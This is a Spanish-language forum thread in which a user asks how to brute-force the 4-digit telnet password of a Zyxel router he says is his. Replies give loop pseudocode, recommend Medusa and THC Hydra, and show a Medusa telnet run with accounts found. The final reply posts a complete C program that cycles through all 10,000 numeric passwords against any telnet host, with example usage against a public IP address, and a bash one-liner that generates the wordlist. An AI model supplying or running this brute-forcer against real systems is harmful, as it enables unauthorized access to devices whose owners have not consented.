Tema destacado: Grupo de acebook de elhacker.net
Autor
|
Tema: Fuerza bruta para telnet (Leído 6,023 veces)
|
zorrua
Desconectado
Mensajes: 60
|
Hola amigos, hace mucho que no pasaba por aqui, he leido un poco y me alegro que las cosas vayan como siempre de bien.
Estoy con un tema de poder acceder a telnet a un router mio. No lo quiero resetar porque tengo bastante configurado y no lo tengo apuntado.
Solo tengo acceso telnet. Es un Zyxel.
Lo que queria es poder crear una aplicacion (script) para poder hacer fuerza bruta sobre él, ya se que tiene 4 digitos numericos.
Por lo que se, tendria que hacer un for de 0000 a 9999. Pero no se como poner los comandos y luego meterle la contraseña.
Existe otra cosa, que despues de cuatro intentos me du un:
Bad Password!!! Connection closed by foreign host.
Asique habra que iniciar de nuevo.
Otra cosa, una vez haya encontrado la contraseña, entrara dentro de la configuracion, y en ese momento habra que para el script, porque sino seguira metiendo datos y comandos y no conviene.
Me imagino que en shell se podra hacer.
Utilizo Debian/GNU en la version Etch.
Saludos y gracias a todos.
P.D.: Se que existen ya aplicaciones que hacen eso tipo medusa, pero no logre configurarlo hace tiempo. Ademas me gustaria saber como se implementa algo asi.
|
|
|
|
|
En línea
|
|
|
|
Lewert
Desconectado
Mensajes: 231
|
Pero el router tiene la contraseña que ya viene cuando los compras o la cambiaste y no te acuerdas?
|
|
|
|
|
En línea
|
Crack the bytes, crack yourself
|
|
|
zorrua
Desconectado
Mensajes: 60
|
Esta cambiado, lo unico que se es que son 4 cifras, no lo puse yo, y el que lo puso no se acuerda. Todos tenemos un primo tonto en la familia, xD.
|
|
|
|
|
En línea
|
|
|
|
|
TRICKY
|
Que tal.
Prueba con la pass: 1234
Suerte.
|
|
|
|
|
En línea
|
"La envidia es una declaración de inferioridad" Napoleón.
|
|
|
Nirvas
Desconectado
Mensajes: 15
|
Si crees que son solo número decimales lo puedes hacer de dos formas: 1º Puede hacer que la máquina cuente hasta 9999 y que cada vez prueba conectarse con el objetivo.En caso de éxito un "if" situado dentro del "While" o "For" detenga el script y te avisa que ha establecido conexion.Esto es propio si sospechas que el objetivo contiene solo numeros decimales y no sabes la longitud. 2º Puedes anidar cuatro loops,pero esto sería más propio para contraseñas sobre las que se supone que contienen caracteres ademas de numeros.Yo con caracteres ascii y cuatro loops anidados y VBscript tuve a mi maquina cuatro horas pensando(tambien es cierto que VBscript es lentito  ) Los loops,whiles e ifs se encuentran en cualquier lenguaje de programacion o scripting,asi que eligete uno a gusto y yasta.Y si usas linux y bash es mas facil aun,porque solo le pones el comando na'mas.En cambio en VBscript tengo que crear objetos y conocer sus metodos y propiedades. Jo telnet activado sin restringcion de los intentos-hasta que no lo arregles,no lo conectes a internet.Ahora me vas a decir que tiene tambien el finger activado....
|
|
|
|
|
En línea
|
|
|
|
zorrua
Desconectado
Mensajes: 60
|
Gracias por contestar a los dos.
El password no es 1234. Es numerico de 4 cifras porque me ha dicho mi primo (lo malo es que no se acuerda cual era).
Mas o menos lo tengo claro lo de por donde tiene que ir el script, pero lo que mas necesito como utilizar los comandos (for, echo, exec, telnet, etc). Nunca he programado en shell.
Seguire intentantodo, gracias por todo.
|
|
|
|
|
En línea
|
|
|
|
Nirvas
Desconectado
Mensajes: 15
|
Perdoname,se me olvido concretar que si usas while de forma incremental,vas a tener que anadir con tres "case" a los zeros que tienen que aparecer en los numeros 1 o sea 0001 0 45 o sea 0045 porque quedamos en que la pass tiene cuatro digitos.
Ejemplo de la logica:
aquí declaras la variable var1 que será un vehiculo de datos temporales aqui otra mas otra mas otra mas for [ "primera variable"= 0 to 9 ] do for [ "segunda variable" = 0 to 9 ] do for ["tercera variable" = 0 to 9 ] do for ["cuarta variable" = 0 to 9 ] do >telnet x.x.x.x user: "nombre de usuario" password: "primera variable + "segunda variable" + "tercera variable" + "cuarta variable" if "conexion establecida(esto depende del SO)" then >echo "Bingo!El pass es:" + " primera variable" + "segunda variable"+"tercera variable" + "cuarta variable" >aqui liberas las variables de memoria y terminas el script >comando para cerrar la conexión o sacar la en pantalla end if next for next for next for next for Aqui tambien liberas las variables de la memoria y terminas el script si llega hasta aquí mejor si le pones un echo "intento fallido" o "la contraseña no es del tipo esperado"
Tienes que asegurarte de que el sistema operativo que usas acaba las comandos hasta el final y entonces procede con el siguiente comando.Tambien seria bien hacer le prueba de error en cada paso y en caso de error que haga algo.Pero estos son cosas de cada sistema operativo por separado y yo en linux no sé ni jota ni me intereso.
Tan solo te enseño la extructura que ves que es muy facil.Si alguien te dice que programar es dificil,no le hagas caso.Si sabes usar los loops,los arrays etc,tan solo vas a meter te por media hora en google para ver la sintaxis exacta y vas a programar en cualquier lenguaje de medio nivel pariba.Pero te advierto que puede llegar a ser una adiccion mayor que los juegos de roll.Muchos programadores casi no duermen...
|
|
|
|
|
En línea
|
|
|
|
zorrua
Desconectado
Mensajes: 60
|
Gracias por la ayuda, pero creo que voy a utilizar Medusa, que debe de ser una aplicaion que ya lleva años, y a ver como va.
Gracias por todo y saludos.
|
|
|
|
|
En línea
|
|
|
|
Nirvas
Desconectado
Mensajes: 15
|
Para el mismo tiempo que aprendas los tutos de como usar una aplicacion,podrias aprender un tuto de programar que lo que quieres es sencillo. Pero es cosa tuya,eres libre.Tan solo te aconsejo,no te obligaría aun si pudiera.
Suerte!
|
|
|
|
|
En línea
|
|
|
|
oPen syLar
Desconectado
Mensajes: 687
The Best of You..
|
thc hydra
|
|
|
|
|
En línea
|
|
|
|
*dudux
Ex-Staff
Desconectado
Mensajes: 2.383
.....traficando con sueños.....
|
lenny:/home/dudu/pruebas# medusa -M telnet -h 192.168.10.1 -U usr.txt -P pass.txt -e s Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [telnet] Host: 192.168.10.1 (1/1) User: g (1/5) Password: g (1/4) ACCOUNT FOUND: [telnet] Host: 192.168.10.1 User: g Password: g [SUCCESS] ACCOUNT CHECK: [telnet] Host: 192.168.10.1 (1/1) User: j (2/5) Password: j (1/4) ACCOUNT FOUND: [telnet] Host: 192.168.10.1 User: j Password: j [SUCCESS]
|
|
|
|
|
En línea
|
|
|
|
|
TRICKY
|
Que tal.
Pues siguiendo la opcion obvia de Nirvas, voy a pegar un code que acabo de hacer en puro aburrimiento! A ver, dices que tras cuatro intentos de passwords, te pone "Bad password" y se cierra la conexion..
El codigo que te acabo de hacer es un brute-force lame el cual manda mediante el loop for las diferentes combinaciones de digitos. Dijistes que eran 4 digitos y asi lo he codeado.
La cosa es que este code es lame por varios motivos siendo el principal mi estado de vagueza. Otro de los motivos es que esta pensado solo para esta situacion :__) Otros 3 motivos son que:
- me baso en un string del error que suelta el Servidor al meter las passwords incorrectas. O sea, como 4 argumento se le debe de pasar Bad o algun string sujerente ( importan las mayusculas! ) en el error.
- Solo he puesto que el server acepta hasta 4 intentos de login ( 4 es este caso ); por lo que serviria para un Servidor el cual ofreza de 1 a 4 intentos pero como digo en este caso son 4.
- Por cada intento de autenticacion ( 1 intento == 4 oportunidades ) repito el mismo password.
Hay otros motivos que se me pasaran, pero estos son los mas destacados. (??)
Pues eso mismo, para ejecutar mi aplicacion deberias de hacer algo asi:
# ./telnet-brute 84.56.54.79 23 4 Bad
Esto es:
-- 84.56.54.79 --> es la IP destino -- 23 --> es el puerto destino -- 4 --> es el numero de intentos que ofrece el servidor destino -- Bad --> es el string escojido desde el mensaje de error
Pues lo que se inenta en el code es ir probando passwords, y si resulta que en una iteracion no nos suelta error ( conteniendo "Bad" ) supongo que hemos dado con la pass y la escribo a un archivo "password.txt".
Es una PoC(keria) para esta situacion, nada mas. Al haberse dubitado entre un aplicacion u otra, y al estar yo aburrido, pues esto es lo que hay.
Sigo diciendo que por ejemplo, si haces lo siguiente desde el command line ( # <-- es el prompt! ):
# for ((i=0;i<=9;i++)); do for ((x=0;x<=9;x++)); do for ((z=0;z<=9;z++)); do for ((y=0;y<=9;y++)); do echo "$i$x$z$y" >> passwds.txt
done done done done
y tras ello usas THC Hydra y le pasas como archivo de passwords el recien creado passwds.txt, aun mejor.
Bueno, pues aqui pego mi lame code:
/* * brute-force PoC .:: by averno ::. ( is lame! :_) ) * */
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h>
#define buflen 512
char buffer[buflen];
int resolve(char *host, int port) {
struct sockaddr_in server; struct hostent *he;
int sock;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(-1); }
if ((server.sin_addr.s_addr = inet_addr(host)) == -1) { if ((he = gethostbyname(host)) == NULL) { perror("gethost()"); exit(-1); }
memcpy((char *)&server.sin_addr, (char *)he->h_addr, sizeof(server.sin_addr)); }
server.sin_family = AF_INET; server.sin_port = htons(port); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == -1) { perror("connect()"); exit(-1); }
return(sock);
}
void find_str(char *buff, char *buf, char *argv[]) {
FILE *dest;
if (strstr(buff, argv[4]) == NULL) { /* si no encontramos Bad, suponemos que encontramos la pas... */ if ((dest = fopen("password.txt", "w")) == NULL) { perror("fopen()"); exit(-1); } fprintf(dest, ": %s\n", buf);
fclose(dest); }
}
char *write_to(int sock, char *buf) {
int readbytes;
write(sock, buf, strlen(buf)); sleep(1);
while ((readbytes = read(sock, buffer, buflen-1)) != -1) { buffer[readbytes] = '\0'; write(1, buffer, readbytes); break; }
return(buffer);
}
void iterate(int sock, int iters, char *buf, char *argv[]) {
FILE *dest;
int i; char *buff;
switch (iters) { case 1: buff = write_to(sock, buf); find_str(buff, buf, argv); break;
case 2: for (i = 1; i <= 2; i++) { buff = write_to(sock, buf); } find_str(buff, buf, argv); break;
case 3: for (i = 1; i <= 3; i++) { buff = write_to(sock, buf); } find_str(buff, buf, argv); break;
case 4: for (i = 1; i<= 4; i++) { buff = write_to(sock, buf); } find_str(buff, buf, argv); break; default: fprintf(stderr, "[/] The bee is giggling at you!!\n\n"); exit(1); } }
int main(int argc, char *argv[]) {
int a, b, c ,d; int i; char buf[buflen]; int iters = atoi(argv[3]);
if (argc != 5) { fprintf(stderr, "[/] Uso: %s <host> <port> <number_of_iterations> <string>\n\n", argv[0]); fprintf(stderr, "\t[/] For the argument <number_of_iterations> just write down\n\t the numbers of tries you have when you telnet the server.\n\t you have till 4 tries in this code.\n\n\t[/] For the <string> just write down a string in the\n" "\t Default message of Error.\n\n\t[~] For example if it gives you a message like \"Bad password\", write\n\t Bad for <string>.\n\n"); exit(0); }
/**** such a messy-avernish fprintf()!!!! :_) !! ***/
setbuf(stdout, 0); fflush(stdout);
printf("[/] Brute-Force begins now ...\n\n");
for (a = 0; a <= 9; a++) { for (b = 0; b <= 9; b++) { for (c = 0; c <= 9; c++) { for (d = 0; d <= 9; d++) {
int sock = resolve(argv[1], atoi(argv[2])); sleep(1);
snprintf(buf, sizeof(buf), "password: %i%i%i%i\n", a, b, c, d); printf("\n[/] Intentando %s\n", buf); iterate(sock, iters, buf, argv);
close(sock);
} } } }
return 0;
}
/* EOF */
Si lo ejecutas sin argumentos veras la salida explicada en Ingles. Al encontrarme en UK y al ser esta mi casi segunda lengua, le estoy cogiendo demasiao carinho..
Bueno, Suerte.
/**** MODIFIKO ****/
Ah, si te funciona dime!; si no pues mandalo a /dev/null.. :_)
|
|
|
|
« Última modificación: 29 Noviembre 2008, 16:36 por averno »
|
En línea
|
"La envidia es una declaración de inferioridad" Napoleón.
|
|
|
|
|